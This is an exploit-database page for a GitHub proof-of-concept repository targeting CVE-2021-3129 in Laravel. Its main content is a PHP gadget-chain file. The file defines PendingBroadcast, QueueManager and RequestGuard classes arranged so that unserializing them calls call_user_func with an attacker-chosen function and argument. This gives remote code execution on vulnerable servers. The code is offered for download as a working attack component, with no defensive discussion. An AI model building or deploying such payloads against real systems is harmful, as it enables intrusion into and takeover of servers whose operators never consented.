Exploit database

GH-ef32bec3baf31bd381c522a7d3810271

axianke/cve-2021-3129

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-3129

36 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
axianke/cve-2021-3129Revision 33f41884f1a9

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

gadgetchains/Laravel/RCE/15/gadgets.php

PHP · 1,255 bytes
<?php

namespace Illuminate\Broadcasting {
    class PendingBroadcast
    {
        protected $events;

        function __construct($function, $param)
        {
            $this->events = new \Illuminate\Queue\QueueManager($function, $param);
        }
    }
}

namespace Illuminate\Queue {

    class QueueManager
    {
        protected $app;
        protected $connectors;

        function __construct($function, $param)
        {
            $this->app = [
                "config" => [
                    "queue.default" => "key",
                    "queue.connections.key" => [
                        "driver" => "func"
                    ]
                ]
            ];
            $this->connectors = [
                "func" => [
                    new \Illuminate\Auth\RequestGuard($function, $param),
                    "user"
                ]
            ];
        }
    }
}

namespace Illuminate\Auth {
    class RequestGuard
    {
        protected $callback;
        protected $request;
        protected $provider;

        public function __construct($function, $param)
        {
            $this->callback = "call_user_func";
            $this->request = $function;
            $this->provider = $param;
        }
    }
}